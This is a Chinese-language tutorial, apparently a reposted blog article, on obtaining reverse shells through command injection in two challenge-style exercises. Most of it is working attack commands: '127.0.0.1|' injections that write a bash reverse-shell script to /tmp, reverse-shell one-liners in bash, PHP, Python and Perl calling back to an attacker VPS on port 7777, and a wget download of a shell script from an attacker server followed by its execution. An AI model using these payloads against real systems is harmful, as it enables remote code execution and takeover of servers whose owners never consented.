这篇文章主要讲解了“怎么反弹shell”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么反弹shell”吧!
whoami是www-data权限,很低的权限;
pwd可查看到当前路径且判定是linux系统;
ls -al查看了下当前目录下的读写执行权限:
可以看出其他用户是没有高权限的,写入执行权限都没有,就不能在当前目录下写马;经尝试,bash反弹shell未能成功。
第一题:exec "ping"
/tmp写入bash反弹脚本执行
/tmp下有可写可执行权限,那么写个bash反弹脚本上去:
127.0.0.1|Echo ‘bash -i >& /dev/tcp/47.107.x.xx/7777 0>&1’>/tmp/cdk.sh
Vps上先监听,然后bash执行脚本:
127.0.0.1|bash /tmp/cdk.sh
php反弹shell
Payload:
127.0.0.1|php -r '$sock=fsockopen("47.107.xx.xxx",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
python反弹shell
Payload:
127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.107.xx.xx",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl反弹shell
Payload1(依赖/bin/sh):
127.0.0.1|perl -e 'use Socket;$i="47.107.xx.xx";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Payload2(不依赖/bin/sh):
127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.107.xx.xx:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第二题:exec "eval"
自己服务器上写个反弹shell的sh,利用wget下载到目标服务器,避免传输过程发生格式问题。
利用python启用http服务。
执行命令:
system('wget -P /tmp/ http://180.76.xx.xx:8000/drinkwater.sh')
执行脚本,成功反弹shell:
system("bash /tmp/drinkwater.sh");
感谢各位的阅读,以上就是“怎么反弹shell”的内容了,经过本文的学习后,相信大家对怎么反弹shell这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!
原创文章,作者:奋斗,如若转载,请注明出处:https://blog.ytso.com/219686.html